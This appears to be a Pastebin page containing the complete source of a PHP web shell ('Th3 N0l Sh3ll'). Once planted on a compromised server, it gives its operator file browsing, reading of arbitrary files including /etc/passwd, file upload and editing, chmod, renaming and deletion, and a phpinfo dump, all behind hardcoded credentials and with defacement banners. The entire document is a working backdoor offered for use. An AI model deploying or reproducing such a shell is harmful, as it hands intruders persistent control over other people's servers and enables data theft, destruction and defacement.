Advertisement
D3n0l

Mini Shell By D3n0l Ganz

Jun 11th, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.17 KB | None | 0 0
  1. <?php
  2. // --- pop-up
  3.  
  4. $user = "denol";
  5.  
  6. $pass = "denol";
  7.  
  8.  if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
  9.  
  10.  {
  11.  
  12.   header("WWW-Authenticate: Basic realm=\"dvildance was here\"");
  13.  
  14.   header("HTTP/1.0 401 Unauthorized");
  15.  
  16.   exit();
  17.  
  18.  }
  19.  
  20. // --- php shell
  21.  
  22. error_reporting(0);
  23. set_time_limit(0);
  24.  
  25. if(get_magic_quotes_gpc()){
  26. foreach($_POST as $key=>$value){
  27. $_POST[$key] = stripslashes($value);
  28. }
  29. }
  30. echo '<!DOCTYPE HTML>
  31. <html>
  32. <head>
  33. <center><font color="cyan">Th3 N0l Sh3ll</font><br>';
  34. $etc_passwd = @is_readable("/etc/passwd") ? "<b><span style=\"color:white\">ON </span></b>" : "<b><span style=\"color:red\"/>off </span></b>";
  35. echo '<b><font color=red>Server IP  :   </b></font><b>'.$_SERVER['SERVER_ADDR'].' </b>';
  36. echo '<b><font color=red>Your IP :  </b></font><b>'.$_SERVER['REMOTE_ADDR'].'</b>';
  37. echo "</br>";
  38. echo "<b><font color=red>Safe Mode :  </font></b>";
  39. // Check for safe mode
  40. if( ini_get('safe_mode') ) {
  41.   print '<font color=#FF0000><b> ON</b></font>';
  42. } else {
  43.   print '<font color=#008000><b> OFF</b></font>';
  44. }
  45. echo "</br>";
  46. echo "<b><font color=red>Read etc/passwd : </font></b><b>$etc_passwd</b>";
  47. echo "<b><font color=red>Functions : </font><b>";echo "<a href='$php_self?p=info'>PHP INFO </a>";
  48. if(@$_GET['p']=="info"){@phpinfo();
  49. exit;}
  50. echo '<!DOCTYPE HTML>
  51. <br>
  52. </center>
  53. <link href="" rel="stylesheet" type="text/css">
  54. <title>[+] J4NC0K [+]</title>
  55. <center>
  56. <img src="https://scontent-lax3-2.xx.fbcdn.net/v/t1.0-0/cp0/e15/q65/p180x540/34894296_176609086518598_2378745217160314880_n.jpg?_nc_cat=0&efg=eyJpIjoidCJ9&oh=856151f64dc948e2d4b28001bb863a94&oe=5BAB635A" width="300" height="300"/>
  57. <script>
  58. var text="# | . . . D3n0l Ganz Was Here!!! . . . | #";
  59. var delay=10;
  60. var currentChar=1;
  61. var destination="[none]";
  62. function type()
  63. {
  64. //if (document.all)
  65. {
  66. var dest=document.getElementById(destination);
  67. if (dest)// && dest.innerHTML)
  68. {
  69. dest.innerHTML=text.substr(0, currentChar)+"<blink>_</blink>";
  70. currentChar++;
  71. if (currentChar>text.length)
  72. {
  73. currentChar=1;
  74. setTimeout("type()", 5000);
  75. }
  76. else
  77. {
  78. setTimeout("type()", delay);
  79. }
  80. }
  81. }
  82. }
  83. function startTyping(textParam, delayParam, destinationParam)
  84. {
  85. text=textParam;
  86. delay=delayParam;
  87. currentChar=1;
  88. destination=destinationParam;
  89. type();
  90. }
  91. </script>
  92. <style>
  93. body{
  94. font-family: "Jolly Lodger", cursive;
  95. background-color: black;
  96. color:white;
  97. }
  98. #content tr:hover{
  99. background-color: red;
  100. text-shadow:0px 0px 10px #fff;
  101. }
  102. #content .first{
  103. background-color: red;
  104. }
  105. table{
  106. border: 1px #000000 dotted;
  107. }
  108. a{
  109. color:white;
  110. text-decoration: none;
  111. }
  112. a:hover{
  113. color:blue;
  114. text-shadow:0px 0px 10px #ffffff;
  115. }
  116. input,select,textarea{
  117. border: 1px #000000 solid;
  118. -moz-border-radius: 5px;
  119. -webkit-border-radius:5px;
  120. border-radius:5px;
  121. }
  122. </style>
  123. <style>
  124. <body bgcolor="black">
  125. </style>
  126. <script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js" type="text/javascript"></script>
  127. </head>
  128. <body>
  129. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  130. <tr><td><font color="red">Path :</font> ';
  131. if(isset($_GET['path'])){
  132. $path = $_GET['path'];
  133. }else{
  134. $path = getcwd();
  135. }
  136. $path = str_replace('\\','/',$path);
  137. $paths = explode('/',$path);
  138.  
  139. foreach($paths as $id=>$pat){
  140. if($pat == '' && $id == 0){
  141. $a = true;
  142. echo '<a href="?path=/">/</a>';
  143. continue;
  144. }
  145. if($pat == '') continue;
  146. echo '<a href="?path=';
  147. for($i=0;$i<=$id;$i++){
  148. echo "$paths[$i]";
  149. if($i != $id) echo "/";
  150. }
  151. echo '">'.$pat.'</a>/';
  152. }
  153. echo '</td></tr><tr><td>';
  154. if(isset($_FILES['file'])){
  155. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  156. echo '<font color="green">Upload Berhasil</font><br />';
  157. }else{
  158. echo '<font color="red">Upload Gagal</font><br/>';
  159. }
  160. }
  161. echo '<form enctype="multipart/form-data" method="POST">
  162. <font color="white">File Upload :</font> <input type="file" name="file" />
  163. <input type="submit" value="upload" />
  164. </form>
  165. </td></tr>';
  166. if(isset($_GET['filesrc'])){
  167. echo "<tr><td>Current File : ";
  168. echo $_GET['filesrc'];
  169. echo '</tr></td></table><br />';
  170. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  171. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  172. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  173. if($_POST['opt'] == 'chmod'){
  174. if(isset($_POST['perm'])){
  175. if(chmod($_POST['path'],$_POST['perm'])){
  176. echo '<font color="green">Change Permission Berhasil</font><br/>';
  177. }else{
  178. echo '<font color="red">Change Permission Gagal</font><br />';
  179. }
  180. }
  181. echo '<form method="POST">
  182. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms
  183.  
  184. ($_POST['path'])), -4).'" />
  185. <input type="hidden" name="path" value="'.$_POST['path'].'">
  186. <input type="hidden" name="opt" value="chmod">
  187. <input type="submit" value="Go" />
  188. </form>';
  189. }elseif($_POST['opt'] == 'rename'){
  190. if(isset($_POST['newname'])){
  191. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  192. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  193. }else{
  194. echo '<font color="red">Ganti Nama Gagal</font><br />';
  195. }
  196. $_POST['name'] = $_POST['newname'];
  197. }
  198. echo '<form method="POST">
  199. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  200. <input type="hidden" name="path" value="'.$_POST['path'].'">
  201. <input type="hidden" name="opt" value="rename">
  202. <input type="submit" value="Go" />
  203. </form>';
  204. }elseif($_POST['opt'] == 'edit'){
  205. if(isset($_POST['src'])){
  206. $fp = fopen($_POST['path'],'w');
  207. if(fwrite($fp,$_POST['src'])){
  208. echo '<font color="green">Berhasil Edit File</font><br/>';
  209. }else{
  210. echo '<font color="red">Gagal Edit File</font><br/>';
  211. }
  212. fclose($fp);
  213. }
  214. echo '<form method="POST">
  215. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST
  216.  
  217. ['path'])).'</textarea><br />
  218. <input type="hidden" name="path" value="'.$_POST['path'].'">
  219. <input type="hidden" name="opt" value="edit">
  220. <input type="submit" value="Save" />
  221. </form>';
  222. }
  223. echo '</center>';
  224. }else{
  225. echo '</table><br/><center>';
  226. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  227. if($_POST['type'] == 'dir'){
  228. if(rmdir($_POST['path'])){
  229. echo '<font color="green">Directory Terhapus</font><br/>';
  230. }else{
  231. echo '<font color="red">Directory Gagal Terhapus</font><br/>';
  232. }
  233. }elseif($_POST['type'] == 'file'){
  234. if(unlink($_POST['path'])){
  235. echo '<font color="green">File Terhapus</font><br/>';
  236. }else{
  237. echo '<font color="red">File Gagal Dihapus</font><br/>';
  238. }
  239. }
  240. }
  241. echo '</center>';
  242. $scandir = scandir($path);
  243. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  244. <tr class="first">
  245. <td><center>Name</peller></center></td>
  246. <td><center>Size</peller></center></td>
  247. <td><center>Permission</peller></center></td>
  248. <td><center>Modify</peller></center></td>
  249. </tr>';
  250.  
  251. foreach($scandir as $dir){
  252. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  253. echo '<tr>
  254. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  255. <td><center>--</center></td>
  256. <td><center>';
  257. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  258. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  259. echo perms($path.'/'.$dir);
  260. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  261.  echo '</center></td>
  262. <td><center><form method="POST" action="?option&path='.$path.'">
  263. <select name="opt">
  264. <option value="">Select</option>
  265. <option value="delete">Delete</option>
  266. <option value="chmod">Chmod</option>
  267. <option value="rename">Rename</option>
  268. </select>
  269. <input type="hidden" name="type" value="dir">
  270. <input type="hidden" name="name" value="'.$dir.'">
  271. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  272. <input type="submit" value=">">
  273. </form></center></td>
  274. </tr>';
  275. }
  276. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  277. foreach($scandir as $file){
  278. if(!is_file($path.'/'.$file)) continue;
  279. $size = filesize($path.'/'.$file)/1024;
  280. $size = round($size,3);
  281. if($size >= 1024){
  282. $size = round($size/1024,2).' MB';
  283. }else{
  284. $size = $size.' KB';
  285. }
  286. echo '<tr>
  287. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  288. <td><center>'.$size.'</center></td>
  289. <td><center>';
  290. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  291. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  292. echo perms($path.'/'.$file);
  293. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  294. echo '</center></td>
  295. <td><center><form method="POST" action="?option&path='.$path.'">
  296. <select name="opt">
  297. <option value="">Select</option>
  298. <option value="delete">Delete</option>
  299. <option value="chmod">Chmod</option>
  300. <option value="rename">Rename</option>
  301. <option value="edit">Edit</option>
  302. </select>
  303. <input type="hidden" name="type" value="file">
  304. <input type="hidden" name="name" value="'.$file.'">
  305. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  306. <input type="submit" value=">">
  307. </form></center></td>
  308. </tr>';
  309. }
  310. echo '</table>
  311. </div>';
  312. }
  313. echo '<center><br/>[-] Copyright © 2k18 All Reversed [-]</center>
  314. </body>
  315. </html>';
  316. function perms($file){
  317. $perms = fileperms($file);
  318. if (($perms & 0xC000) == 0xC000) {
  319. // Socket
  320. $info = 's';
  321. } elseif (($perms & 0xA000) == 0xA000) {
  322. // Symbolic Link
  323. $info = 'l';
  324. } elseif (($perms & 0x8000) == 0x8000) {
  325. // Regular
  326. $info = '-';
  327. } elseif (($perms & 0x6000) == 0x6000) {
  328. // Block special
  329. $info = 'b';
  330. } elseif (($perms & 0x4000) == 0x4000) {
  331. // Directory
  332. $info = 'd';
  333. } elseif (($perms & 0x2000) == 0x2000) {
  334. // Character special
  335. $info = 'c';
  336. } elseif (($perms & 0x1000) == 0x1000) {
  337. // FIFO pipe
  338. $info = 'p';
  339. } else {
  340. // Unknown
  341. $info = 'u';
  342. }
  343.  
  344. // Owner
  345. $info .= (($perms & 0x0100) ? 'r' : '-');
  346. $info .= (($perms & 0x0080) ? 'w' : '-');
  347. $info .= (($perms & 0x0040) ?
  348. (($perms & 0x0800) ? 's' : 'x' ) :
  349. (($perms & 0x0800) ? 'S' : '-'));
  350.  
  351. // Group
  352. $info .= (($perms & 0x0020) ? 'r' : '-');
  353. $info .= (($perms & 0x0010) ? 'w' : '-');
  354. $info .= (($perms & 0x0008) ?
  355. (($perms & 0x0400) ? 's' : 'x' ) :
  356. (($perms & 0x0400) ? 'S' : '-'));
  357.  
  358. // World
  359. $info .= (($perms & 0x0004) ? 'r' : '-');
  360. $info .= (($perms & 0x0002) ? 'w' : '-');
  361. $info .= (($perms & 0x0001) ?
  362. (($perms & 0x0200) ? 't' : 'x' ) :
  363. (($perms & 0x0200) ? 'T' : '-'));
  364.  
  365. return $info;
  366. }
  367. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement